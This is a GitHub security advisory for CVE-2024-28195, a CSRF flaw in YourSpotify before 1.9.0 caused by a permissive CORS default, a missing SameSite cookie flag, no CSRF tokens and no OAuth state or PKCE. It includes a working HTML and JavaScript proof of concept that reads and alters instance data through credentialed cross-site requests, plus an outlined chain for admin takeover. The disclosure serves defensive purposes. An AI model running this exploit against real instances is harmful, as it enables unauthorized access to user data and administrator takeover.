Skip to content

Cross-Site Request Forgery (CSRF) vulnerability in API and login

High
Yooooomi published GHSA-hfgf-99p3-6fjj Mar 13, 2024

Package

No package listed

Affected versions

<1.9.0

Patched versions

1.9.0

Description

Summary

YourSpotify version <1.9.0 does not protect its API and login flow against Cross-Site Request Forgery (CSRF).

Attackers can use this to execute CSRF attacks on victims, allowing them to retrieve, modify or delete data on the affected YourSpotify instance.
Using repeated CSRF attacks, it is also possible to create a new user on the victim instance and promote the new user to instance administrator if a legitimate administrator visits a website prepared by an attacker.

Note: Real-world exploitability of this vulnerability depends on the browser version and browser settings in use by the victim.

Details

There are multiple underlying issues that contribute to this security issue. These issues will be laid out in the following sections.

Overly permissive default CORS policy

The default setup guide in the repository does not emphasize that a proper CORS policy is required for security. If no specific CORS policy is set, YourSpotify allows any origin by default.
It is safe to assume that many users will not configure a custom and secure CORS policy, as the overly permissive default 'works' in the sense that YourSpotify will work as expected.

As Access-Control-Allow-Credentials is also set to true in the CORS policy, this effectively allows any third-party (i.e. cross-origin and cross-site) to interact with the YourSpotify API using the session cookie saved in the browser

Missing SameSite cookie attribute

YourSpotify does not set any cookie security flags for its session cookie named token. Specifically, the SameSite cookie flag, which can provide protection against CSRF, is not set.

Some browsers (such as Google Chrome) actually default to SameSite: lax-like behavior when it is not explictly set, while other browser (such as Firefox) do not do this (as of now). The required attribute should be explicitly set.

No CSRF token or anti-CSRF header is in use

YourSpotify also does not employ any other CSRF countermeasures, such as CSRF tokens or anti-CSRF headers. See the remediation recommendations for more information.

Missing OAuth 2.0 state validation and missing OAuth 2.0 PKCE implementation

The OAuth 2.0 based login flow is a special case for CSRF, as it is the only backend functionality that is intended to be used by directly accessing the endpoint using a browser.

The OAuth 2.0 standard requires CSRF protection (see RFC 6749 section 10.12 as well as the current draft of "OAuth 2.0 Security Best Current Practice" section 4.7) to be secure. This can be achieved by generating a random state variable, binding it to the user session, adding it to the authorization request, and finally validating the given state against the saved session value when the authorization code is delivered to the callback URL.
Additionally, PKCE (Proof Key for Code Exchange, see RFC6736) also provides protection against CSRF attacks.

Both the state variable and PKCE are not used by YourSpotify, allowing an attacker to inject their own authorization code using CSRF. This can allow an attacker to register a new user account on a YourSpotify instance using CSRF.

Browser version and settings disclaimer

Real-world exploitability of this vulnerability depends on the browser version and browser settings in use by the victim. As an example, SameSite cookie flag default values differ from browser to browser. Additionally, initiatives and features such as Third-party cookie deprecation in Chrome or Firefox "Total Cookie Protection" may cause the browser not to send cross-site cookies, even thought both the cookie flags and the CORS policy would allow it.

However, the underlying issues should be fixed regardless so that all users are protected from this vulnerability.

Proof of Concept

Because of time constraints, this section only provides a simple proof of concept for reading and altering YourSpotify data. A more interesting attack scenario is also presented, but not implemented as a proof of concept.

Simple proof of concept

The following HTML and JS files can be hosted on an attacker server for a proof of concept:

csrf.html:

<!DOCTYPE html>
<html>
    <head>
        <title>CSRF Test</title>
        <script src="/csrf.js"></script>
    </head>

    <body>
        <h1>CSRF Test</h1>
        Interacting with <span id="victimServer"></span>
        <p>
        <button id="allowSignupButton">Allow Signup</button>
        <button id="disallowSignupButton">Disallow Signup</button>
        <br>
        <button id="logoutButton">Log out</button>
        <br>
        <input id="loginAuthCode" placeholder="Authorization Code"></input>
        <button id="loginButton">Login with auth code</button>
        <p>
        Global Preferences Output:
        <pre id="csrf-output-prefs"></pre>
        <p>
        /me Output:
        <pre id="csrf-output-me"></pre>
    </body>
</html>

csrf.js:

const victimServer = "http://backend.yourspotify.internal:8080";

const fetchMe = async () => {
    const responseUserRedactions = {
        username: "<REDACTED>",
        spotifyId: "<REDACTED>",
        accessToken: "<REDACTED>",
        refreshToken: "<REDACTED>",
    }

    let response = await fetch(`${victimServer}/me`, { credentials: "include"})
        .then(r => r.json());
    
    if (response.user !== undefined) {
        response.user = {...response.user, ...responseUserRedactions};
    }
    return response
};

const fetchGlobalPrefs = async () => {
    response = await fetch(`${victimServer}/global/preferences`, { credentials: "include"})
        .then(r => r.json());
    
    return response;
};

const refreshOutput = async(fetchFn, targetElement) => {
    let response = await fetchFn();
    let formattedResponse = JSON.stringify(response, null, 2);

    document.querySelector(targetElement).textContent = formattedResponse;
};

const allowSignup = async (allowSignupState) => {
    response = await fetch(`${victimServer}/global/preferences`, {
         credentials: "include",
         method: "POST",
         body: JSON.stringify({ "allowRegistrations": allowSignupState }),
         headers: {
            "Content-Type": "application/json",
         }
    }).then(r => r.json());
    
    await refreshOutput(fetchGlobalPrefs, "#csrf-output-prefs");
    return response;
};

const logout = async () => {
    response = await fetch(`${victimServer}/logout`, {
         credentials: "include",
         method: "POST",
    });

    await refreshOutput(fetchMe, "#csrf-output-me");
};

const login = async () => {
    let authCode = document.getElementById("loginAuthCode").value;
    let params = new URLSearchParams({
        code: authCode
    });
    try {
        response = await fetch(`${victimServer}/oauth/spotify/callback?${params}`, {
            credentials: "include",
            method: "GET",
        });
    } catch (err) {
        // This fails because the backend redirects to the frontend and the frontend
        // doesn't allow CORS with credentials. This can be ignored.
        console.log(err);
    }
    await refreshOutput(fetchMe, "#csrf-output-me");
};

const bindListeners = () => {
    document.getElementById("allowSignupButton").onclick = e => allowSignup(true);
    document.getElementById("disallowSignupButton").onclick = e => allowSignup(false);
    document.getElementById("logoutButton").onclick = e => logout();
    document.getElementById("loginButton").onclick = e => login();
};

window.onload = async () => {
    bindListeners();
    document.getElementById("victimServer").innerText = victimServer;
    await refreshOutput(fetchMe, "#csrf-output-me");
    await refreshOutput(fetchGlobalPrefs, "#csrf-output-prefs");
};

When a victim user opens this site in Firefox (with Firefox enhanced tracking protection disabled or configured to a low level), the following content is shown:

YourSpotify CSRF

As shown in the screenshot, the account data can be read from a cross-site origin.

The "Allow Signup" and "Disallow Signup" buttons can be used to update the server preferences to allow new users to sign up. Finally, the logout and login buttons can be used to log out the existing session or log in a new session with a supplied OAuth authorization code.

Reading this data and performing these actions should only be allowed and possible from the frontend origin.

Description of more elaborate proof of concept

An interesting real-world attack would perform the following actions in an automated fashion:

  1. Enable new user sign-up using CSRF (requires an admin user to be currently logged into YourSpotify)
  2. Create a new user controlled by the attacker on the YourSpotify instance, either by CSRF-ing the OAuth 2.0 callback or by completing the sign-up flow from the attacker server (if the target YourSpotify instance is reachable by the attacker)
  3. Use CSRF again to make the victim administrator promote the attacker user to administrator

After this, the attacker has gained access to the target YourSpotify instance as an administrator.

Impact

Attackers can use this to execute CSRF attacks on victims, allowing them to retrieve, modify or delete data on the affected YourSpotify instance.
Using repeated CSRF attacks, it is also possible to create a new user on the victim instance and promote the new user to instance administrator if a legitimate administrator visits a website prepared by an attacker.

Note: Real-world exploitability of this vulnerability depends on the browser version and browser settings in use by the victim.

Severity

High
8.1
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

CVE ID

CVE-2024-28195

Credits